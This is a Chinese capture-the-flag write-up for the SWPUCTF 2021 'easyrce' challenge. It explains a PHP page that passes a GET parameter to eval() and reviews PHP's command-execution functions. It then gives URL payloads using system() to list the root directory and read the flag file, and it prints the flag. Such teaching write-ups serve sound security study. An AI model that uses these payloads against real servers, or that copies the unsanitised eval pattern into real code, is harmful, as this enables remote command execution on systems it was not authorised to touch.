[SWPUCTF 2021 新生赛]easyrce-解题思路

一、对于题目环境中函数的一些理解:

1. 屏蔽所有报错信息的函数。
    error_reporting(0); 
2. 对文件进行语法高亮显示的函数。
    highlight_file();
3. 环境中重要的代码段。
    if(isset($_GET['url']))   
    #isset函数用来检测url变量是否存在;$_GET函数获取变量数据
    {
    eval($_GET['url']);
                                                          
    #eval函数用来执行参数数据,并返回结果,其中字符串当作PHP代码来执行。
    }

二、解题思路:

重要代码段为一中的第3点,我们用来侧重分析。
    if(isset($_GET['url']))   
    {
    eval($_GET['url']);       
    }

if判断语句告诉我们,如果存在url变量则往下面执行eval函数,执行参数并且返回结果。


这里我们需要用到执行外部命令函数(有四种方法):
知识补充:

1. exec 执行系统外部命令时不会输出结果,而是返回结果的最后一行,如果你想得到结果你可以使用第二个参数,让其输出到指定的数组,此数组一个记录代表输出的一行,即如果输出结果有20行,则这个数组就有20条记录,所以如果你需要反复输出调用不同系统外部命令的结果,你最好在输出每一条系统外部命令结果时清空这个数组,以防混乱。第三个参数用来取得命令执行的状态码,通常执行成功都是返回0。 
    #示例代码:
        <?php
            echo exec("ls",$file);
            echo "</br>";
               `print_r($file);`
            ?>

    #输出结果:
        test.php
        Array( [0] => index.php [1] => test.php)

2.  passthru与system的区别,passthru直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,不返回任何值,且其可以输出二进制,比如图像数据。
    #示例代码:
        <?php
            passthru("ls");
        ?>

    #输出结果:
        index.phptest.php
3.  system和exec的区别在于system在执行系统外部命令时,直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,如果执行命令成功则返回true,否则返回false。
    #示例代码:
        <?php
            system("ls /");
        ?>

    #输出结果:
     binbootcgroupdevetchomeliblost+foundmediamntoptprocrootsbinselinuxsrvsystmpusrvar
4.  反撇号和shell_exec()函数实际上仅是反撇号 (`) 操作符的变体。
    #示例代码:
        <?php
            echo `pwd`;
        ?>

    #输出结果:
        /var/www/html

参考地址:https://www.cnblogs.com/gaohj/p/3267692.html

原文链接:

http://www.cszhi.com/20111212/php_exec_system_shell_exec_passthru.htmlhttp://www.cszhi.com/20111212/php_exec_system_shell_exec_passthru.html
由此可以得出方法3外部执行命令函数更符合我们题目的要求。


三、开始解题,拿flag:


1. 首先构造payload,并进行url地址重放:

   ?url=system("ls /");
    #?代表拼接
    #ls /代表列出目录文件,学过Linux系统的大部分都有所了解。
    #代码意思是将外部执行命令ls /的结果赋值给url变量,最后在浏览器中显示结果。
    #注意以;英文分号进行闭合。


回显结果:
    bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
    #发现除了flllllaaaaaaggggggg文件以外都为目录文件,所以猜测flllllaaaaaaggggggg文件中可能包含flag信息
需注意的是:
    ?url=system("ls /"); > ?url=system("ls%20/");
    #我们的代码重放后发生了变化,是因为重放后浏览器自动进行了url编码!


2.使用cat命令查看flllllaaaaaaggggggg文件中的命令,需注意的是文件在/根目录下:
    ?url=system("cat /flllllaaaaaaggggggg");


3、进行重放回显flag:
    NSSCTF{aa00240d-6bef-4dcd-903f-6a2a26809570}

  • 9
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

白猫a~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值